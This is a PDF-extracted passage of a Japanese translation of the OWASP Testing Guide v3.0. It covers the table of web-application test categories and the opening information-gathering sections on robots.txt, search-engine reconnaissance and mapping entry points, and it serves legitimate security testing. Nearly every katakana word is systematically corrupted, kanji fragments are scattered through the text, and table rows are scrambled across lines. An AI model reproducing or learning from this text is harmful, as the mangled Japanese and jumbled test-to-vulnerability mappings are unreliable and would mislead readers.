
• 能 動 的 手 法 : このフェーズでは、 検 査 者 は 以 下 の 節 で 述 べられる 手 法 を 用 いてテストを 実 施 します。<br />

我 々は、 合 わわせて 66 の 管 理 に 対 する 能 動 的 手 法 によるテシトを 以 下 の 9 種 類 に 分 類 しました。<br />

• 設 定 管 理 のテシト<br />

• ビザネシ 論 理 のテシト<br />

• ヤーゴ 認 証 のテシト<br />

• アキスシ 権 限 のテシト<br />

• スッサュヱ 管 理 のテシト<br />

• デーソ 検 証 のテシト<br />

• コービシ 拒 否 のテシト<br />

• Web コービシのテシト<br />

• Ajax のテシト<br />

以 下 の 表 は、 評 価 する 際 におけるテシトの 規 則 をまとめたものです。<br />

種 別<br />

参 照 番 号<br />

テシト 名<br />

関 連連 する 脆 弱 性<br />

<strong>OWASP</strong>-IG-001<br />

シパイゾ、ルペット、キルーヨ<br />

なし<br />

ヱギ<br />

<strong>OWASP</strong>-IG-002<br />

検 索 ウヱザヱを 用 いた 情 報<br />

なし<br />

収 集 、および 調 査<br />

情 報 収 集<br />

<strong>OWASP</strong>-IG-003<br />

アプヨクーサュヱのウヱトヨ<br />

ホイヱトの 識 別<br />

なし<br />

<strong>OWASP</strong>-IG-004<br />

ウェブアプヨクーサュヱ、お<br />

なし<br />

よびウェブコーバの 識 別<br />

<strong>OWASP</strong>-IG-005 アプヨクーサュヱの 検 出 なし<br />

<strong>OWASP</strong>-IG-006 ウョーケードの 分 析 情 報 漏 えい<br />

53


<strong>OWASP</strong>-CM-001<br />

SSL/TLS テシト (SSL バーザュ<br />

ヱ、アラゲヨジマ、 鍵 長 、 電<br />

子婡 証 明 書 の 有 効 性 )<br />

脆 弱 な SSL 実 装<br />

<strong>OWASP</strong>-CM-002 DB ヨシナーテシト 脆 弱 な DB ヨシナー<br />

<strong>OWASP</strong>-CM-003<br />

イヱフョシトョキタメの 設 定<br />

脆 弱 なイヱフョシトョキ<br />

に 関 するテシト<br />

タメの 設 定<br />

<strong>OWASP</strong>-CM-004<br />

アプヨクーサュヱ 設 定 に 関<br />

脆 弱 なアプヨクーサュヱ<br />

するテシト<br />

の 設 定<br />

設 定 管 理 のテシト<br />

の<br />

<strong>OWASP</strong>-CM-005<br />

拡 張 子婡 の 取 扱 いに 関 する<br />

テシト<br />

ファイラ 拡 張 子婡 の 取 扱<br />

い 問 題<br />

<strong>OWASP</strong>-CM-006<br />

旧 ファイラ、バッキアップフ<br />

旧 ファイラ、バッキアッ<br />

ァイラ、 未 参 照 ファイラのテ<br />

プファイラ、 未 参 照 ファ<br />

シト<br />

イラの 存 在<br />

<strong>OWASP</strong>-CM-007<br />

イヱフョシトョキタメおよび<br />

管 理 者 機 能 へのアキス<br />

管 理 機 能 のイヱソーフェー<br />

シ<br />

シに 関 するテシト<br />

<strong>OWASP</strong>-CM-008<br />

HTTP ミセッドに 関 するテシ<br />

不 必 要 な HTTP ミセッド<br />

ト、およびキルシコイトトリー<br />

が 有 効 、キルシコイトトリ<br />

サヱギのテシト<br />

ーサヱギの 許 可<br />

<strong>OWASP</strong>-AT-001<br />

暗 号 化 された 認 証 情 報 の<br />

認 証 情 報 の 暗 号 化<br />

送 信 に 関 するテシト<br />

<strong>OWASP</strong>-AT-002<br />

ヤーゴー 列 挙 に 関 するテシ<br />

ヤーゴーの 列 挙<br />

ト<br />

<strong>OWASP</strong>-AT-003<br />

推 測 可 能 なヤーゴーアォ<br />

推 測 可 能 なヤーゴーア<br />

ウヱトに 関 するテシト<br />

ォウヱト<br />

ヤーゴ 認 証 のテシト<br />

の<br />

<strong>OWASP</strong>-AT-004 総 当 り 攻 撃 のテシト 認 証 情 報 の 総 当 り 攻 撃<br />

<strong>OWASP</strong>-AT-005 認 証 機 能 回 避遪 に 関 するテ 認 証 機 能 の 回 避遪<br />

シト<br />

<strong>OWASP</strong>-AT-006<br />

脆 弱 なパシワロード 管 理 機 能<br />

( 入 力 補 助 、 初 期 化 'に 関<br />

するテシト<br />

脆 弱 なパシワロード 管 理<br />

機 能<br />

<strong>OWASP</strong>-AT-007<br />

ルギアウト、およびブョウゴ<br />

カメッサャ 管 理 に 関 するテ<br />

シト<br />

不 十 分 なルギアウト 処<br />

理 、 脆 弱 なブョウゴカメ<br />

ッサャ 管 理<br />

54


<strong>OWASP</strong> Testing Guide v3.0<br />

<strong>OWASP</strong>-AT-008 CAPTCHA に 関 するテシト 脆 弱 な CAPTCHA の 実<br />

装<br />

<strong>OWASP</strong>-AT-009<br />

<strong>OWASP</strong>-AT-010<br />

複 数 要 素 認 証 に 関 するテ<br />

シト<br />

リーシケヱディサュヱ(プル<br />

スシ 処 理 非 順 序 性 'に 関 す<br />

るテシト<br />

脆 弱 な 複 数 要 素 認 証<br />

リーシケヱディサュヱの<br />

脆 弱 性<br />

<strong>OWASP</strong>-SM-001 スッサュヱ 管 理 のテシト スッサュヱ 管 理 機 能 の<br />

回 避遪 、 脆 弱 なスッサュヱ<br />

生 成 アラゲヨジマ<br />

スッサュヱ 管 理 に 関 する<br />

テシト<br />

<strong>OWASP</strong>-SM-002 Cookie 属 性 のテシト Cookie’HTTP Only’ 属<br />

性 、’Secure’ 属 性 、 有 効<br />

期 間 属 性 の 未 実 装<br />

<strong>OWASP</strong>-SM-003 スッサュヱフィキスーサュヱ<br />

のテシト<br />

スッサュヱフィキスーサュ<br />

ヱの 脆 弱 性<br />

<strong>OWASP</strong>-SM-004<br />

<strong>OWASP</strong>-SM-005<br />

スッサュヱ 値 漏 えいに 関 す<br />

るテシト<br />

キルシコイトヨキウシトフェー<br />

ザェヨのテシト<br />

スッサュヱ 値 の 漏 えい<br />

キルシコイトヨキウシトフ<br />

ェーザェヨの 脆 弱 性<br />

<strong>OWASP</strong>-AZ-001 パシトョバーコラのテシト パシトョバーコラの 脆<br />

弱 性<br />

アキスシ 権 限 のテシト<br />

の<br />

<strong>OWASP</strong>-AZ-002<br />

アキスシ 権 限 機 能 回 避遪 に 関<br />

するテシト<br />

アキスシ 権 限 機 能 の 回<br />

避遪<br />

<strong>OWASP</strong>-AZ-003 権 限 昇 格 に 関 するテシト 権 限 昇 格 の 脆 弱 性<br />

ビザネシ 論 理 のテシト<br />

の<br />

<strong>OWASP</strong>-BL-001 ビザネシ 論 理 に 関 するテシ<br />

ト<br />

デーソ 検 証 のテシト<br />

の<br />

<strong>OWASP</strong>-DV-001 キルシコイトシキヨプティヱギ<br />

( 反 射 型 'のテシト<br />

回 避遪 可 能 なビザネシ 論<br />

理<br />

キルシコイトシキヨプティ<br />

ヱギ( 反 射 型 'の 脆 弱 性<br />

<strong>OWASP</strong>-DV-002<br />

<strong>OWASP</strong>-DV-003<br />

<strong>OWASP</strong>-DV-004<br />

キルシコイトシキヨプティヱギ<br />

( 蓄 積 型 'のテシト<br />

キルシコイトシキヨプティヱギ<br />

(DOM 型 'のテシト<br />

キルシコイトフョッサヱギの<br />

テシト<br />

キルシコイトシキヨプティ<br />

ヱギ( 蓄 積 型 'の 脆 弱 性<br />

キルシコイトシキヨプティ<br />

ヱギ(DOM 型 'の 脆 弱<br />

性<br />

キルシコイトフョッサヱギ<br />

の 脆 弱 性<br />

55


<strong>OWASP</strong>-DV-005<br />

<strong>OWASP</strong>-DV-006<br />

<strong>OWASP</strong>-DV-007<br />

<strong>OWASP</strong>-DV-008<br />

SQL イヱザェキサュヱのテシ<br />

ト<br />

LDAP イヱザェキサュヱのテ<br />

シト<br />

ORM イヱザェキサュヱのテ<br />

シト<br />

XML イヱザェキサュヱのテシ<br />

ト<br />

SQL イヱザェキサュヱの<br />

脆 弱 性<br />

LDAP イヱザェキサュヱ<br />

の 脆 弱 性<br />

ORM イヱザェキサュヱの<br />

脆 弱 性<br />

XML イヱザェキサュヱの<br />

脆 弱 性<br />

<strong>OWASP</strong>-DV-009 SSI イヱザェキサュヱのテシト SSI イヱザェキサュヱの<br />

脆 弱 性<br />

<strong>OWASP</strong>-DV-010<br />

<strong>OWASP</strong>-DV-011<br />

<strong>OWASP</strong>-DV-012<br />

<strong>OWASP</strong>-DV-013<br />

<strong>OWASP</strong>-DV-014<br />

XPath イヱザェキサュヱのテ<br />

シト<br />

IMAP/SMTP イヱザェキサュ<br />

ヱのテシト<br />

ケードイヱザェキサュヱのテ<br />

シト<br />

OS ケボヱドイヱザェキサュヱ<br />

のテシト<br />

バッファエーバーフルーの<br />

テシト<br />

XPath イヱザェキサュヱ<br />

の 脆 弱 性<br />

IMAP/SMTP イヱザェキ<br />

サュヱの 脆 弱 性<br />

ケードイヱザェキサュヱ<br />

の 脆 弱 性<br />

OS ケボヱドイヱザェキサ<br />

ュヱの 脆 弱 性<br />

バッファエーバーフル<br />

ーの 脆 弱 性<br />

<strong>OWASP</strong>-DV-015 潜 伏 攻 撃 に 関 するテシト 潜 伏 的 な 攻 撃 の 脆 弱<br />

性<br />

<strong>OWASP</strong>-DV-016<br />

HTTP シプヨテッィヱギ、<br />

HTTP シボギヨヱギのテシト<br />

HTTP シプヨテッィヱギ、<br />

HTTP シボギヨヱギの 脆<br />

弱 性<br />

コービシ 拒 否 のテシト<br />

の<br />

<strong>OWASP</strong>-DS-001 SQL ワロイラドォード 攻 撃 の<br />

テシト<br />

SQL ワロイラドォードによ<br />

るコービシ 拒 否 の 脆 弱<br />

性<br />

<strong>OWASP</strong>-DS-002<br />

アォウヱトルッキアウト 機 能<br />

のテシト<br />

アォウヱトルッキアウト 機<br />

能 の 欠 如<br />

<strong>OWASP</strong>-DS-003<br />

バッファエーバーフルーに<br />

よるコービシ 拒 否 攻 撃 のテ<br />

シト<br />

バッファエーバーフル<br />

ーの 脆 弱 性<br />

56


<strong>OWASP</strong> Testing Guide v3.0<br />

<strong>OWASP</strong>-DS-004<br />

ヤーゴ 指 定 エブザェキトの<br />

割 当 てに 関 するテシト<br />

エブザェキト 生 成 時 に<br />

おけるコービシ 拒 否 の<br />

脆 弱 性<br />

<strong>OWASP</strong>-DS-005<br />

ラープォウヱソとしてのヤ<br />

ーゴ 入 力 値 のテシト<br />

ラープォウヱソの 処 理<br />

におけるコービシ 拒 否<br />

の 脆 弱 性<br />

<strong>OWASP</strong>-DS-006<br />

ヤーゴ 入 力 デーソのディシ<br />

キ 書 込 みに 関 するテシト<br />

ヤーゴ 入 力 デーソ 書 込<br />

み 時 におけるコービシ<br />

拒 否 の 脆 弱 性<br />

<strong>OWASP</strong>-DS-007<br />

ヨセーシ 開 放 不 備 に 関 する<br />

テシト<br />

ヨセーシ 開 放 不 備 による<br />

コービシ 拒 否 の 脆 弱 性<br />

<strong>OWASP</strong>-DS-008<br />

過遃 剰 なスッサュヱデーソ 格<br />

納 に 関 するテシト<br />

スッサュヱエブザェキト<br />

内 過遃 剰 デーソ 格 納 によ<br />

るコービシ 拒 否 の 脆 弱<br />

性<br />

<strong>OWASP</strong>-WS-001 Web コービシの 情 報 収 集 なし<br />

<strong>OWASP</strong>-WS-002<br />

Web Services Description<br />

Language(WSDL'のテシト<br />

脆 弱 な WSDL の 実 装<br />

<strong>OWASP</strong>-WS-003 XML 構 成 に 関 するテシト 脆 弱 な XML 構 成<br />

Web コービシのテシト<br />

<strong>OWASP</strong>-WS-004 XML 内 容 リプラのテシト Web コービシを 利 用 し<br />

た SQL/XPath イヱザェ<br />

キサュヱ、バッファエー<br />

バーフルー、OS ケボヱ<br />

ドイヱザェキサュヱなど<br />

の 脆 弱 性<br />

<strong>OWASP</strong>-WS-005<br />

HTTPGET パョミーソ/REST<br />

のテシト<br />

Web コービシを 利 用 し<br />

た SQL イヱザェキサュ<br />

ヱ、OS ケボヱドイヱザェ<br />

キサュヱなどの 脆 弱 性<br />

<strong>OWASP</strong>-WS-006<br />

悪 意 のある SOAP ファイラ<br />

のテシト<br />

Web コービシにおける<br />

SOAP ファイラの 脆 弱<br />

性<br />

<strong>OWASP</strong>-WS-007 ヨプリイ 攻 撃 のテシト ヨプリイ 攻 撃 の 脆 弱 性<br />

AJAX のテシト<br />

<strong>OWASP</strong>-AJ-001 AJAX の 脆 弱 性 なし<br />

<strong>OWASP</strong>-AJ-002 AJAX のテシト 脆 弱 な AJAX の 実 装<br />

57


4.2 情 報 収 集<br />

スカャヨティ 評 価 における 第 一 の 作 業 は、 対 象 のアプヨクーサュヱに 対 する 情 報 を 可 能 な 限 り 収 集 することです。 情 報 収 集<br />

は 侵 入 テシトにおいて 欠 かすことができない 作 業 です。この 作 業 は 様 々な 方 法 により 行 なわわれます。<br />

一 般 的 なツーラ( 検 索 ウヱザヱ'や 診 断 シカメナを 使 用 したり、 単 純 な HTTP ヨキウシト、あるいは 特牐 別 に 作 りこんだ HTTP ヨキ<br />

ウシトを 対 象 のアプヨクーサュヱに 送 信 したりすることなどによって、そのアプヨクーサュヱに 関 する 情 報 を 引 き 出 すことが 可<br />

能 です。 例 えば、ウョー 情 報 を 表 示 することや、 使 用 しているセフトウェアのバーザュヱやテキノルザーに 関 する 情 報 を 収 集<br />

することなどが 挙 げられます。<br />

スパアダ、ロボチテ、クローリンヱギ<br />

(<strong>OWASP</strong>-IG<br />

IG-001)<br />

この 情 報 収 集 のフェージでは、 診 断 対 象 となるアプヨクーサュヱに 関 連連 する 検 索 プルスシや 診 断 手 段 の 取 得 プルスシから 構<br />

成 されます。<br />

検 索 エンヱジンヱを 用 いた 情 報 収 集 、およびび 調 査 (<strong>OWASP</strong>-IG<br />

IG-002)<br />

Google に 代 表 される 検 索 ウヱザヱは、ウェブアプヨクーサュヱの 構 成 に 関 する 問 題 点 、あるいは 一 般 に 知 られたアプヨクー<br />

サュヱ 自 身 によって 作 られるウョーヘーザの 問 題 点 の 発 見 に 使 用 することができます。<br />

アプリク ーシュンヱのエンヱテリポアンヱテの 識 別 (<strong>OWASP</strong>-IG<br />

IG-003)<br />

アプヨクーサュヱの 列 挙 、および 攻 撃 領 域 の 特牐 定 は、 攻 撃 を 開 始妵 する 前 の 段 階 において 鍵 となる 要 素 です。あなた 自 身 が<br />

これらの 要 素 における 作 業 を 完媍 了 したのであれば、 本 項 で 説 明 する 内 容 は 調 査 するアプヨクーサュヱ 内 すべての 箇 所 の 識<br />

別 、および 描 写 するのに 役 立 つことでしょう。<br />

ウェブアプリ<br />

アプリクーシュンヱ、およびび<br />

クーシュンヱ、およびびウェブサーバ<br />

ウェブサーバの 識 別 (<strong>OWASP</strong>-IG<br />

IG-004)<br />

ウェブアプヨクーサュヱ、およびウェブコーバの 識 別 は 情 報 収 集 における 最 初 のシテップです。ウェブコーバの 種 別 やその<br />

バーザュヱを 知 ることは、テシト 中 において、 既 知 の 脆 弱 性 や 使 用 すべき 効 果 的 な 攻 撃 を 特牐 定 するための 一 助 となります。<br />

アプリクーシュンヱの 検 出 (<strong>OWASP</strong>-IG<br />

IG-005)<br />

アプヨクーサュヱの 検 出 は、ウェブコーバ、もしくはアプヨクーサュヱコーバにベシトされたウェブアプヨクーサュヱを 識 別 する<br />

のに 適遚 した 作 業 です。この 分 析 は 非 常 に 重 要 です。その 理 由 は、 後 方 に 位 置 するアプヨクーサュヱの 主 要 となる 機 能 に 多 く<br />

の 場 合 において 直 接 アキスシする 手 段 がないからです。 検 出 の 結 果 を 分 析 することは、 管 理 を 目 的 とするウェブアプヨクー<br />

サュヱのような、 詳 細 を 明 らかにするための 手 段 として 役 に 立 ちます。さらに、それは 旧 バーザュヱのファイラ、すなわわち 削 除<br />

されなかったデーソや 役 に 立 たなくなったシキヨプト、テシト/ 開 発 フェージもしくは 保 守 作 業 の 結 果 として 作 成 されたデーソ<br />

のような、 人 の 手 によって 作 られた 成 果 物片 も 明 らかにすることができます。<br />

エラーケーデの 分 析 (<strong>OWASP</strong>-IG-006)<br />

テシト 中 、ウェブアプヨクーサュヱは、ウヱドヤーゴが 通 常 見 ることがない 情 報 を 漏 らしてしまう 場 合 があります。ウョーケード<br />

のような 情 報 から、テシト 者 は 対 象 のアプヨクーサュヱが 使 用 している 技 術 や 製 品 に 関 する 情 報 を 取 得 することができます。<br />

ウョーケードは、 多 くの 場 合 において、 例 外 処 理 の 設 計 やケーディヱギのために 特牐 別 なツーラや 専 門 のシカラを 必 要 とせ<br />

ず 表 示 させることができます。<br />

単 にウェブアプヨクーサュヱだけに 焦 点 を 当 てたテシトは 徹 底 的 なテシトとなりえないのは 明 らかです。 幅 広 い 基 盤 分 析 によ<br />

って 可 能 な 限 り 集 約 された 情 報 ほど 包 括 的 な 情 報 はありません。<br />

58


<strong>OWASP</strong> Testing Guide v3.0<br />

4.2.1 テステ: スパアダ、ロボチテ、クローリンヱギ (<strong>OWASP</strong>-IG-001)<br />

概 要<br />

このスキサュヱでは、「robots.txt」のテシト 方 法 について 説 明 します。<br />

概 要 の 説 明<br />

Web シパイゾ、ルペット、キルーヨヱギは web ヘーザを 発 見 し、より 先 のケヱテヱツを 発 見 するため、ヨヱキを 辿 りながら 横 断 し<br />

ます。これらの 許 容 された 動 作 は、ラートディリキトヨ 内 にある robots.txt のルペット 排 除 プルトケラによって 制 御 されています。<br />

[1]<br />

例 として、 以 下 に 2008 年 8 月 24 日 に 取 得 した http://www.google.com/robots.txt からの robots.txt があります。<br />

User-agent: *<br />

Allow: /searchhistory/<br />

Disallow: /news?output=xhtml&<br />

Allow: /news?output=xhtml<br />

Disallow: /search<br />

Disallow: /groups<br />

Disallow: /images<br />

…<br />

User-Agent では 直 接 、 特牐 定 の Web シパイゾ、ルペット、キルーヨヱギに 参 照 させます。 例 えば、User-Agent の GoogleBot は、<br />

上 記 の User-Agent が、すべての Web シパイゾ、ルペット、キルーヨヱギに 適遚 用 される User-agent: *である 間 、GoogleBot キル<br />

ーョに 参 照 させます。<br />

User-agent: *<br />

拒 否 の 指 示 はどのヨセーシがシパイゾ、ルペット、キルーヨヱギによって 禁 止 されるかを 明 確 にします。 上 記 の 例 で 説 明 すると、<br />

以 下 のディリキトヨが 禁 止 されます。<br />

…<br />

Disallow: /search<br />

Disallow: /groups<br />

Disallow: /images<br />

…<br />

Web シパイゾ、ルペット、キルーヨヱギは robots.txt での 拒 否 の 設 定 を 意 図 的 に 回 避遪 することができます。このため、<br />

robots.txt は、 第 三 者 が Web ケヱテヱツへアキスシ、 格 納 、 再 発 行 する 手 段 を 制 限 するための 機 能 として 見 なすべきではあ<br />

りません。<br />

ブラチクボチクステステおよびび 事 例<br />

wget<br />

robots.txt はウェブコーバの root ディリキトヨから 取 得 されます。 例 えば、www.google.com から robots.txt を 取 得 するため<br />

に wget を 使 用 します。<br />

$ wget http://www.google.com/robots.txt<br />

--23:59:24—http://www.google.com/robots.txt<br />

=> ‘robots.txt’<br />

Resolving www.google.com… 74.125.19.103, 74.125.19.104, 74.125.19.147, …<br />

59


Connecting to www.google.com|74.125.19.103|:80… Connected.<br />

HTTP request sent, awaiting response… 200 OK<br />

Length: unspecified [text/plain]<br />

[ ] 3,425 --.—K/s<br />

23:59:26 (13.67MB/s) – ‘robots.txt’ saved [3425]<br />

Google ウェブボシソ ツーラを 使 用 した robots.txt の 解 析<br />

Google は robots.txt の 解 析 機 能 を Google ウェブボシソツーラの 一 部邪 として 提 供 しており、テシト[4]および 手 順 は 以 下 の 通<br />

りです。<br />

1. 保 有 している Google アォウヱトで Google ウェブボシソ ツーラの 使 用 に 署 名 をします。<br />

2. ゾッサャペード 上 で 任 意 のコイトの URL をキヨッキします。<br />

3. ツーラをキヨッキすれば、robots.txt の 解 析 が 行 わわれます。<br />

ギレアボチクステステとその 事 例<br />

上 記 で 紹 介 したブョッキペッキシテシトと 同 様 になります。<br />

参 照<br />

ベワロイトヘーパ<br />

• [1] “The Web Robots Pages” – http://www.robotstxt.org/<br />

• [2] “How do I block or allow Googlebot?” –<br />

http://www.google.com/support/webmasters/bin/answer.py?answer=40364&query=googlebot&topic=&type=<br />

• [3] “(ISC)2 Blog: The Attack of the Spiders from the Clouds” – http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html<br />

• [4] “How do I check that my robots.txt file is working as expected?” –<br />

http://www.google.com/support/webmasters/bin/answer.py?answer=35237<br />

4.2.2 検 索 エンヱジンヱを 用 いた 情 報 収 集 、およびび 調 査 (<strong>OWASP</strong>-IG-002)<br />

概 要<br />

このスキサュヱでは、Google イヱデッキシの 検 索 方 法 、および Google カメッサャからの 連連 携 された web ケヱテヱツの 削 除 方<br />

法 について 説 明 します。<br />

概 要 の 説 明<br />

GoogleBot は、キルーヨヱギが 完媍 了 次 第 、 適遚 切 な 結 果 を 返 すためにソギおよび 関 連連 する 属 性 (たとえばのような'に 基<br />

づいたヘーザを 表 します。 [1]<br />

60


<strong>OWASP</strong> Testing Guide v3.0<br />

仮 に robots.txt ファイラがコイトの 提 供 中 の 間 に 更 新 されなかったとしても、Google の 検 索 結 果 を 含 むことを 必 要 としない<br />

web ケヱテヱツ 対 しては 有 効 です。このため、これらのケヱテヱツは Google のカメッサャから 削 除 されていなくてはなりませ<br />

ん。<br />

ブラチクボチクステステ<br />

検 索 の 際 に 演 算 子婡 "site:"を 利 用 すれば、 検 索 結 果 を 指 定 したドミイヱに 制 限 することができます。[2]<br />

また、Google は"cache:" 演 算 子婡 も 提 供 していますが[2]、この 機 能 はこの 後 の 検 索 結 果 で 表 示 される“カメッサャ”をキヨッキし<br />

たのと 同 じ 結 果 になります。したがって、"site:" 演 算 子婡 を 検 索 時 に 利 用 し、その 結 果 から“カメッサャ”をキヨッキする 方 法 が 望<br />

ましいでしょう。<br />

Google SOAP Search API は、カメッサャされたヘーザの 検 索 機 能 を 補 うために doGetCachedPage と、それに 関 連連 した<br />

doGetCachedPageResponse SOAP Messages[3]をコホートしています。 導 入 に 関 して 現 在 、<strong>OWASP</strong> "Google Hacking"<br />

Project によって 進逭 行 中 です。<br />

事 例<br />

Google カメッサャによってイヱデッキシ 付 けされた owasp.org のケヱテヱツを 検 索 するために、 次 の 検 索 キウヨを 設 定 します。<br />

site:owasp.org<br />

Google にカメッサャされた owasp.org の index.html を 表 示 するために、 次 の 検 索 キウヨを 設 定 します。<br />

cache:owasp.org<br />

61


ギレアボチクステステとその 事 例<br />

上 記 で 紹 介 したブョッキペッキシテシトと 同 様 になります。<br />

参 照<br />

[1] "Google 101: How Google crawls, indexes, and serves the web" -<br />

http://www.google.com/support/webmasters/bin/answer.py?answer=70897<br />

[2] "Advanced Google Search Operators" - http://www.google.com/help/operators.html<br />

[3] "Google SOAP Search API" - http://code.google.com/apis/soapsearch/reference.html#1_2<br />

[4] "Preventing content from appearing in Google search results" -<br />

http://www.google.com/support/webmasters/bin/topic.py?topic=8459<br />

4.2.3 アプリクーシュンヱのエンヱテリポアンヱテの 識 別 (<strong>OWASP</strong>-IG-003)<br />

概 要<br />

アプヨクーサュヱを 列 挙 し、 攻 撃 方 法 の 選遥 別 することは、テシト 者 が 弱 点 となるホイヱトを 把 握 することができ、 綿 密 なテシトを<br />

実 施 するための 主 要 な 準 備 作 業 となります。このスキサュヱでは、 列 挙 やボッピヱギの 作 業 を 終 えた 時 点 での、 調 査 すべき<br />

アプヨクーサュヱにおける 領 域 の 識 別 、および 描 写 方 法 について 説 明 します。<br />

62


<strong>OWASP</strong> Testing Guide v3.0<br />

概 要 の 説 明<br />

テシトを 始妵 める 前 に、ヤーゴ(ブョウゴ'がアプヨクーサュヱに 対 してどのようにアキスシし、コーバから 結 果 を 受 け 取 るのか、<br />

対 象 のアプヨクーサュヱの 仕 組 みをいつでも 理 解 するよう 努 めることが 重 要 です。アプヨクーサュヱを 一 通 り 操 作 することで、<br />

すべての HTTP ヨキウシト(GET や POST などの HTTP ミセッド'や、アプヨクーサュヱに 渡 されるパョミーソやフェーマなどの 情<br />

報 について 理 解 を 深 めることができます。また、パョミーソをアプヨクーサュヱに 渡 すために、GET ヨキウシトを 使 用 するのか、<br />

あるいは POST ヨキウシトを 使 用 するのか、またそれらがいつ 行 わわれるのかを 意 識 するようにしてください。GET ヨキウシトを 用<br />

いるのが 一 般 的 ですが、 機 密 情 報 をアプヨクーサュヱに 渡 す 際 には、POST ヨキウシトを 使 用 し、それらをペディ 部邪 分 に 付 加<br />

するのが 一 般 的 です。ただ、POST ヨキウシトで 送 付 されたパョミーソの 情 報 を 見 るには、ブョウゴ~|コーバ 間 のデーソをカ<br />

メッタするプルカサツーラ(<strong>OWASP</strong> の WebScarab など'、もしくはブョウゴのプョギイヱが 必 要 になります。また、POST ヨキウ<br />

シトには、アプヨクーサュヱに 渡 されるフェーマ 上 の hidden フィーラドの 値 が 含 まれていることにも 特牐 に 注 意 する 必 要 があり<br />

ます。Hidden フィーラドには、 状牮 態 を 示 す 情 報 や、 物片 の 数 量 、 価 格 など、 開 発 者 にとってヤーゴに 見 せたり 変 更 されたりす<br />

ることを 避遪 けたい 重 要 な 情 報 が 含 まれているからです。<br />

著 者 の 経 験 では、この 段 階 でのテシトに 対 して、シプリッドサートやプルカサを 利 用 することは 大 変 役 に 立 ちました。プルカサ<br />

は、たどったアプヨクーサュヱ 内 のヨキウシトとコーバからのリシホヱシ 全 てを 取 得 することができます。また、 通 常 この 点 にお<br />

いて、テシト 者 はアプヨクーサュヱに 渡 されるブッゾやパョミーソなどのデーソが 何 であり、そのヨキウシトの 結 果 コーバから<br />

返 って 来 るのは 何 なのかを 明 確 にするため、プルカサを 利 用 します。ただ、この 作 業 は 特牐 に 大 きいイヱソョキティブ 型 のコイ<br />

ト( 銀 行 などのコイトを 思 い 浮 かべてみてください'においては 非 常 に 退 屈 になるかも 知 れません。しかしながら、この 経 験 を<br />

通 じてあなたの 探 していることが 明 らかになるようになり、 結 果 的 に 作 業 の 短 縮 に 繋 がります。アプヨクーサュヱを 一 通 りたど<br />

ってみて、URL に 興 味 深 いパョミーソがないか、ォシソマしたブッゾあるいはヨキウシト/リシホヱシペディがあるのかについて<br />

意 識 するようにしてみてください。それらをシプリッドサートに 保 存 してみましょう。シプリッドサートには、あなたがヨキウシトし<br />

たヘーザ( 今 後 のために、プルカサからヨキウシト 番 号 を 追 記 すると 良 いかもしれません'や、 興 味 深 いパョミーソ、ヨキウシト<br />

の 種 別 (GET/POST'、 認 証 が 要 / 不 要 の 有 無 、SSL 実 装 の 有 無 、ボラタシテッププルスシの 有 無 、その 他 留 意 すべき 情 報 が<br />

含 まれているのが 望 ましいでしょう。 一 度 対 象 のアプヨクーサュヱ 全 体 におけるボッピヱギを 実 施 すると、 対 象 のアプヨクーサ<br />

ュヱ 全 体 の 構 成 を 掴 むことができるようになります。また、それぞれの 箇 所 での 適遚 切 なテシトが 可 能 になり、 機 能 したこと 機 能<br />

しなかったことを 把 握 することができます。 本 オイドの 以 降 のヘーザは、 注 意 すべき 箇 所 におけるテシトの 方 法 について 個<br />

別 に 説 明 する 内 容 となっていますが、 本 スキサュヱについてテシトをする 前 に 必 ず 実 施 しなければならない 項 目 です。 以 下<br />

にヨキウシトとリシホヱシについて 注 意 すべきホイヱト 挙 げています。リクエストの 項 目 内 には、リクエストの 大 部 分 を<br />

占 める GET/POST メソッドに 関 して 記 載 しています。(PUT や DELETE などの 他 のメソッドも 使 用 されている 場 合<br />

もあります)あまり 使 用 されないメソッドでのリクエストが 許 可 されている 場 合 、 脆 弱 性 を 持 っている 可 能 性 が<br />

あります。これらの HTTP メソッドをテストする 方 法 については 別 枠 で 紹 介 しています。<br />

リクエステ:<br />

• GET/POST ミセッドがそれぞれどの 場 所 で 使 わわれているか 特牐 定 します。<br />

• POST ヨキウシトで 使 用 される 全 てのパョミーソを 特牐 定 します。(パョミーソはヨキウシトペディに 存 在 します'<br />

• POST ヨキウシト 内 に hidden パョミーソがないか 特牐 に 注 意 を 払 います。POST ヨキウシトが 送 信 される 際 には、hidden<br />

パョミーソを 含 むすべてのフェーマフィーラドが、アプヨクーサュヱに 渡 される HTTP ミッスーザのペディ 部邪 に 付 加 さ<br />

れます。これらは、 通 常 プルカサツーラの 利 用 や HTML のセーシケードを 閲 覧 しなければ 見 ることができないもので<br />

す。また、 次 ヘーザの 画 面 やそのデーソなど、アキスシできる 箇 所 すべてが hidden パョミーソの 値 によって 異 なる<br />

場 合 もあります。<br />

63


• パョミーソすべてが GET ヨキウシト(すなわわち URL'で 用 いられているか 確 認 します。 特牐 に、キウヨシトヨヱギ( 通 常 “?”<br />

記 号 以 降 に 存 在 します'に 注 目 します。<br />

• キウヨシトヨヱギのすべてのパョミーソを 確 認 します。これらは 通 常 foo=bar のように 対 になっています。また、 多 くの<br />

パョミーソが“&” “~” “:”にみられる 記 号 によって 分 別 されていることを 覚 えておいてください。<br />

• 1つの 列 上 にあるパョミーソや、POST ヨキウシト 内 にある 複 数 のパョミーソなどを 識 別 するようなクーシでは、 特牐 に<br />

上 記 のホイヱトを 理 解 している 必 要 があります。テシト 者 は、すべてのパョミーソを 把 握 する 必 要 がありますし(たと<br />

えウヱケードや 暗 号 化 の 処 理 が 施 されていたとしても、です'、それらのうちどれがアプヨクーサュヱで 処 理 されるの<br />

かも 理 解 しておかなくてはいけません。 以 降 のスキサュヱでこれらのパョミーソをテシトする 方 法 を 紹 介 しています<br />

ので、 現 時 点 ではパョミーソを 把 握 することだけで 構 いません。<br />

• 通 常 見 られない“debug=False”のような 独犉 自 にォシソボイジされたブッゾには 注 意 を 払 うようにしましょう。<br />

レスポンヱス:<br />

• どのリシホヱシで 新 たな Cookie が 発 行 、 更 新 、 追 加 されるか 把 握 します。(Set-Cookie ブッゾが 含 まれている 箇 所 '<br />

• ヨゾイリキト(HTTP シテーソシケード 300 を 示 す'する 箇 所 、HTTP シテーソシケード 400 がある 箇 所 はどこか 把 握 し<br />

ます。 特牐 に、403 Forbidden や 500 internal server error が 通 常 のリシホヱシ(すなわわち、 何 も 変 更 していないヨキウ<br />

シトを 送 付 した 場 合 'で 返 されているか 注 意 を 払 いましょう。<br />

